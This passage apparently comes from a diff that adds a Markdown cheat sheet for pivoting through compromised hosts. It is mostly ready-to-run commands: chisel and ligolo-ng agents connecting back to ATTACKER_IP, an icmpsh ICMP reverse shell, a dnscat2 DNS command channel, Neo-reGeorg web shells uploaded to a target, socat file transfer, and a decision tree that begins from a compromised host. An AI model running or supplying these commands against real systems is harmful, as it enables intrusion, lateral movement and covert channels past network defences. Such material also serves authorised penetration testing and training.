+ ssh -J jump1,jump2 user@TARGET
74
+
75
+ # SSH config for persistent jump
76
+ # ~/.ssh/config
77
+ Host internal-target
78
+ HostName 10.10.10.100
79
+ User admin
80
+ ProxyJump user@jumphost.example.com
81
+ ```
82
+
83
+ ---
84
+
85
+ ## 2. CHISEL
86
+
87
+ ### Reverse SOCKS Proxy (Most Common)
88
+
89
+ ```bash
90
+ # Attacker: start chisel server
91
+ chisel server --reverse --port 8080
92
+
93
+ # Victim: connect back as client, create reverse SOCKS
94
+ chisel client ATTACKER_IP:8080 R:socks
95
+
96
+ # Result: SOCKS5 proxy on attacker's 127.0.0.1:1080
97
+ proxychains nmap -sT -Pn INTERNAL/24
98
+ ```
99
+
100
+ ### Port Forwarding
101
+
102
+ ```bash
103
+ # Forward specific port
104
+ chisel client ATTACKER:8080 R:3306:INTERNAL_DB:3306
105
+
106
+ # Multiple forwards
107
+ chisel client ATTACKER:8080 R:3306:DB:3306 R:8080:WEB:80
108
+
109
+ # Reverse port forward (expose attacker service to victim network)
110
+ chisel client ATTACKER:8080 R:0.0.0.0:4444:127.0.0.1:4444
111
+ ```
112
+
113
+ ---
114
+
115
+ ## 3. LIGOLO-NG
116
+
117
+ TUN interface-based pivoting — transparent routing without SOCKS.
118
+
119
+ ```bash
120
+ # Attacker: start proxy
121
+ sudo ip tuntap add user $(whoami) mode tun ligolo
122
+ sudo ip link set ligolo up
123
+ ligolo-proxy -selfcert -laddr 0.0.0.0:11601
124
+
125
+ # Agent (victim): connect to proxy
126
+ ligolo-agent -connect ATTACKER_IP:11601 -ignore-cert
127
+
128
+ # In ligolo-proxy console:
129
+ >> session # select agent session
130
+ >> ifconfig # view agent's network interfaces
131
+ >> start # start tunnel
132
+
133
+ # Add routes on attacker to reach internal networks
134
+ sudo ip route add 10.10.10.0/24 dev ligolo
135
+ sudo ip route add 172.16.0.0/16 dev ligolo
136
+ ```
137
+
138
+ ### Listener (Reverse Shell Catcher Through Pivot)
139
+
140
+ ```bash
141
+ # In ligolo-proxy console:
142
+ >> listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444 --tcp
143
+ # Internal hosts connecting to AGENT:4444 → forwarded to attacker:4444
144
+ ```
145
+
146
+ ### Double Pivot
147
+
148
+ ```bash
149
+ # Agent 1 on DMZ → tunnel to internal network 1
150
+ # Agent 2 on internal network 1 → tunnel to internal network 2
151
+ # Add routes for both networks on attacker
152
+ sudo ip route add 10.0.0.0/24 dev ligolo # via agent 1
153
+ sudo ip route add 172.16.0.0/24 dev ligolo # via agent 2
154
+ ```
155
+
156
+ ---
157
+
158
+ ## 4. SOCAT
159
+
160
+ ```bash
161
+ # TCP port forward
162
+ socat TCP-LISTEN:8080,fork TCP:INTERNAL:80
163
+
164
+ # UDP relay
165
+ socat UDP-LISTEN:53,fork UDP:INTERNAL_DNS:53
166
+
167
+ # Encrypted tunnel
168
+ socat OPENSSL-LISTEN:443,cert=server.pem,verify=0,fork TCP:INTERNAL:80
169
+
170
+ # File transfer via socat
171
+ # Receiver:
172
+ socat TCP-LISTEN:9999,fork file:received_file,create
173
+ # Sender:
174
+ socat TCP:RECEIVER:9999 file:send_file
175
+ ```
176
+
177
+ ---
178
+
179
+ ## 5. PROXYCHAINS / PROXIFIER
180
+
181
+ ### ProxyChains Configuration
182
+
183
+ ```ini
184
+ # /etc/proxychains4.conf
185
+ strict_chain # fail if any proxy is down
186
+ # dynamic_chain # skip dead proxies
187
+ # random_chain # randomize proxy order
188
+
189
+ [ProxyList]
190
+ socks5 127.0.0.1 1080 # first hop (SSH dynamic forward)
191
+ socks5 127.0.0.1 1081 # second hop (if chaining)
192
+ ```
193
+
194
+ ```bash
195
+ # Usage
196
+ proxychains nmap -sT -Pn -p 22,80,445 10.10.10.0/24
197
+ proxychains crackmapexec smb 10.10.10.0/24
198
+ proxychains evil-winrm -i 10.10.10.50 -u admin -p pass
199
+ ```
200
+
201
+ ---
202
+
203
+ ## 6. WINDOWS PIVOTING
204
+
205
+ ### Netsh Port Forwarding
206
+
207
+ ```cmd
208
+ :: Forward port (requires admin)
209
+ netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=INTERNAL_IP
210
+
211
+ :: List forwards
212
+ netsh interface portproxy show all
213
+
214
+ :: Remove
215
+ netsh interface portproxy delete v4tov4 listenport=8080 listenaddress=0.0.0.0
216
+ ```
217
+
218
+ ### Plink (PuTTY CLI)
219
+
220
+ ```cmd
221
+ :: Dynamic SOCKS (like ssh -D)
222
+ plink.exe -ssh -D 1080 -N user@ATTACKER
223
+
224
+ :: Remote port forward
225
+ plink.exe -ssh -R 4444:127.0.0.1:4444 user@ATTACKER
226
+
227
+ :: Automated (non-interactive, accept host key)
228
+ echo y | plink.exe -ssh -l user -pw password -R 9050:127.0.0.1:9050 ATTACKER
229
+ ```
230
+
231
+ ---
232
+
233
+ ## 7. DNS TUNNELING
234
+
235
+ ```bash
236
+ # iodine — IP-over-DNS
237
+ # Server (attacker, with NS record pointing to attacker):
238
+ iodined -f -c -P password 10.0.0.1 t1.yourdomain.com
239
+
240
+ # Client (victim):
241
+ iodine -f -P password t1.yourdomain.com
242
+ # Creates dns0 interface → route traffic through it
243
+
244
+ # dnscat2 — command channel over DNS
245
+ # Server:
246
+ ruby dnscat2.rb yourdomain.com
247
+ # Client:
248
+ ./dnscat --dns=server=ATTACKER,port=53 --secret=SHARED_SECRET
249
+ ```
250
+
251
+ ---
252
+
253
+ ## 8. ICMP TUNNELING
254
+
255
+ ```bash
256
+ # icmpsh — ICMP reverse shell (no raw socket on victim needed for Windows)
257
+ # Attacker:
258
+ sysctl -w net.ipv4.icmp_echo_ignore_all=1
259
+ python3 icmpsh_m.py ATTACKER_IP VICTIM_IP
260
+
261
+ # Victim (Windows):
262
+ icmpsh.exe -t ATTACKER_IP
263
+
264
+ # ptunnel-ng — TCP-over-ICMP
265
+ # Server:
266
+ ptunnel-ng -r INTERNAL_HOST -R 22
267
+ # Client:
268
+ ptunnel-ng -p PIVOT_IP -l 2222 -r INTERNAL_HOST -R 22
269
+ ssh -p 2222 user@127.0.0.1
270
+ ```
271
+
272
+ ---
273
+
274
+ ## 9. HTTP TUNNELING
275
+
276
+ ```bash
277
+ # Neo-reGeorg — SOCKS proxy via web shell
278
+ # Generate tunnel web shell:
279
+ python3 neoreg.py generate -k PASSWORD
280
+
281
+ # Upload tunnel.php/aspx/jsp to target web server
282
+
283
+ # Connect:
284
+ python3 neoreg.py -k PASSWORD -u http://TARGET/tunnel.php
285
+ # SOCKS proxy on 127.0.0.1:1080
286
+
287
+ # Tunna — HTTP tunnel (alternative)
288
+ python2 proxy.py -u http://TARGET/conn.php -l 4444 -r 3389 -a INTERNAL_IP
289
+ ```
290
+
291
+ ---
292
+
293
+ ## 10. PIVOTING DECISION MATRIX
294
+
295
+ | Egress Allowed | Tool | Notes |
296
+ |---|---|---|
297
+ | TCP outbound (any port) | Chisel, Ligolo-ng, SSH | Fastest setup |
298
+ | TCP 80/443 only | Chisel (HTTP/S), Neo-reGeorg | Blend with web traffic |
299
+ | DNS only (53/udp) | iodine, dnscat2 | Slow but stealthy |
300
+ | ICMP only | ptunnel-ng, icmpsh | Very restricted environments |
301
+ | No outbound | Bind shell + port forward in | Needs inbound access to pivot |
302
+ | Web shell only | Neo-reGeorg, Tunna | When only HTTP file upload works |
303
+
304
+ ---
305
+
306
+ ## 11. DECISION TREE
307
+
308
+ ```
309
+ Compromised host — need to reach internal network
310
+
311
+ ├── Can install tools on pivot?
312
+ │ ├── YES + outbound TCP allowed?
313
+ │ │ ├── Need transparent routing? → Ligolo-ng (§3)
314
+ │ │ ├── Need SOCKS proxy? → Chisel reverse SOCKS (§2)
315
+ │ │ └── SSH available? → SSH dynamic forward (§1)
316
+ │ │
317
+ │ ├── YES + only HTTP(S) outbound?
318
+ │ │ ├── Chisel over HTTPS (§2)
319
+ │ │ └── Upload web tunnel → Neo-reGeorg (§9)
320
+ │ │
321
+ │ ├── YES + only DNS outbound?
322
+ │ │ └── iodine or dnscat2 (§7)
323
+ │ │
324
+ │ └── YES + only ICMP allowed?
325
+ │ └── ptunnel-ng or icmpsh (§8)
326
+
327
+ ├── Cannot install tools (web shell only)?
328
+ │ └── Neo-reGeorg / Tunna via web shell (§9)
329
+
330
+ ├── Windows pivot?
331
+ │ ├── Admin access? → netsh portproxy (§6)
332
+ │ ├── SSH client available? → ssh.exe (Windows 10+) (§1)
333
+ │ └── Outbound SSH? → plink (§6)
334
+
335
+ ├── Need multi-layer pivot?
336
+ │ ├── Ligolo-ng: multiple agents + route stacking (§3)
337
+ │ ├── SSH ProxyJump chaining (§1)
338
+ │ └── ProxyChains with multiple SOCKS (§5)
339
+
340
+ └── Teammate needs access too?
341
+ ├── Bind SOCKS on 0.0.0.0 (ssh -L 0.0.0.0:...)
342
+ └── Share Ligolo-ng routes via common proxy
343
+ ```